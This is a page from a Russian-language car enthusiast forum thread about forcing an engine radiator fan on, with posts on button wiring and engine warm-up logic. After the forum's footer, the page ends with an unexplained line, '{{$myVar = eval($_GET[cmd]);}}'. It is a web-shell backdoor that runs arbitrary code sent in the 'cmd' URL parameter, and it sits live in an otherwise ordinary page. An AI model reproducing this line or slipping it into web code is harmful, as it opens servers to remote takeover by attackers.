+ Ответить в теме
Страница 3 из 5 ПерваяПервая 1 2 3 4 5 ПоследняяПоследняя
Показано с 21 по 30 из 42

Тема: Принудительное включение вентилятора.


  1. #21
    Новичок PCheLLa is on a distinguished road Аватар для PCheLLa
    Регистрация
    05.07.2006
    Сообщений
    114
    Originally posted by MORG m-customs@Jul 19 2006, 09:54
    Курить меньше надо
    Купи монтажного провода 3 метра и кнопку - я те сделаю врубление вентилятора ))
    <div align='right'><{POST_SNAPBACK}></div>
    Круто спасибо))))) :D

  2. #22
    GTI-Racing MORG m-customs is on a distinguished road Аватар для MORG m-customs
    Регистрация
    26.06.2006
    Машина
    Impreza WRX
    Сообщений
    2,081
    Originally posted by Igorb@Jul 19 2006, 11:22
    и как реализован прогрев двига?
    <div align='right'><{POST_SNAPBACK}></div>
    ПО ТЕМПЕРАТУРЕ ВПУСКАЕМОГО ВОЗДУХА
    у меня нет расходомера

  3. #23
    GTI-Racing Igorb will become famous soon enough Igorb will become famous soon enough Аватар для Igorb
    Регистрация
    07.03.2006
    Откуда
    Одесса
    Машина
    golf_mk1
    Сообщений
    1,204
    так как по температуре ВВ, а температура ОЖ не при чем?
    получается что если за бортом -20 и двиг будет на постоянном прогреве??? наверное ездить будет очень плохо.
    карты прописаны по топливу и зажиганию для разных параметров, хх и дальше по оборотам.когда мозги принимают сигнал от ДПКВ или ДХ какие обороты,или какой вакуум во ВК они и дают широту импульса на форсы в зависимости от условий. И не зависимо какая система контроля ХХ стоит степ-мотор и ли клапан соленоид, пока температура охлаждающей жидкости не поднимется до определенных параметров форсы будут лить больше.
    back in the days where motorsport was organised by real men with hairy chests who didn`t give a hoot about health and safety

    Overload http://overload.net.ua/forum/viewtop...d0f88ef70d72f2

  4. #24
    GTI-Racing MORG m-customs is on a distinguished road Аватар для MORG m-customs
    Регистрация
    26.06.2006
    Машина
    Impreza WRX
    Сообщений
    2,081
    Originally posted by Igorb@Jul 20 2006, 07:11
    так как по температуре ВВ, а температура ОЖ не при чем?
    получается что если за бортом -20 и двиг будет на постоянном прогреве??? наверное ездить будет очень плохо.
    карты прописаны по топливу и зажиганию для разных параметров, хх и дальше по оборотам.когда мозги принимают сигнал от ДПКВ или ДХ какие обороты,или какой вакуум во ВК они и дают широту импульса на форсы в зависимости от условий. И не зависимо какая система контроля ХХ стоит степ-мотор и ли клапан соленоид, пока температура охлаждающей жидкости не прийдет в определенные параметры форсы будут лить больше.
    <div align='right'><{POST_SNAPBACK}></div>
    Дык и обороты больше. Хрен знает. Давай схемку ;)

  5. #25
    GTI-Racing ARS is on a distinguished road Аватар для ARS
    Регистрация
    29.05.2006
    Сообщений
    436
    Originally posted by MORG m&#045;customs@Jul 20 2006, 10:05
    Дык и обороты больше. Хрен знает. Давай схемку ;)
    <div align='right'><{POST_SNAPBACK}></div>
    Ребят, по-моему вы друг-друга не до конца понимаете...
    2.8 4motion BBG

  6. #26
    GTI-Racing MORG m-customs is on a distinguished road Аватар для MORG m-customs
    Регистрация
    26.06.2006
    Машина
    Impreza WRX
    Сообщений
    2,081
    Originally posted by ARS@Jul 20 2006, 16:00
    Ребят, по-моему вы друг-друга не до конца понимаете...
    <div align='right'><{POST_SNAPBACK}></div>
    Дааа. я сегодня не при мозговом параде

  7. #27
    GTI-Racing MORG m-customs is on a distinguished road Аватар для MORG m-customs
    Регистрация
    26.06.2006
    Машина
    Impreza WRX
    Сообщений
    2,081
    Пилять.... поставил на кнопку... то работает то не работает мой девайс.... странно...
    Подрубал на вывод датчика температуры подкапотного пространства... йопт...

  8. #28
    GTI-Racing Merlin is on a distinguished road Аватар для Merlin
    Регистрация
    04.03.2006
    Сообщений
    339
    Originally posted by MORG m&#045;customs@Jul 21 2006, 10:04
    Пилять.... поставил на кнопку... то работает то не работает мой девайс.... странно...
    Подрубал на вывод датчика температуры подкапотного пространства... йопт...
    <div align='right'><{POST_SNAPBACK}></div>
    А что на прямую не сделал, прям на контакты вентилятора???

  9. #29
    GTI-Racing MORG m-customs is on a distinguished road Аватар для MORG m-customs
    Регистрация
    26.06.2006
    Машина
    Impreza WRX
    Сообщений
    2,081
    Originally posted by Merlin@Jul 21 2006, 09:06
    А что на прямую не сделал, прям на контакты вентилятора???
    <div align='right'><{POST_SNAPBACK}></div>
    Нет. На датчик температуры подкапотного пространства... и вчера 2 часа и..лся чтобы оцивилить установку...

  10. #30
    А у меня наоборот чето мотор не греется, а в пробках опускается до 80 Страннннннннннннннннноооооо................
    vw golf mk2 16v -turbo 497h.p. 620n.m.
    skoda octavia combi 1.8T 4Х4

+ Ответить в теме
Страница 3 из 5 ПерваяПервая 1 2 3 4 5 ПоследняяПоследняя

Похожие темы

  1. Ответов: 3
    Последнее сообщение: 02.01.2024, 14:58
  2. Ответов: 5
    Последнее сообщение: 06.11.2019, 14:44
  3. Медленное Вращение Вентилятора
    от nickart в разделе Электрика
    Ответов: 2
    Последнее сообщение: 14.02.2009, 23:13
  4. Ответов: 3
    Последнее сообщение: 07.11.2007, 13:10
  5. Ответов: 15
    Последнее сообщение: 23.08.2007, 17:13

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}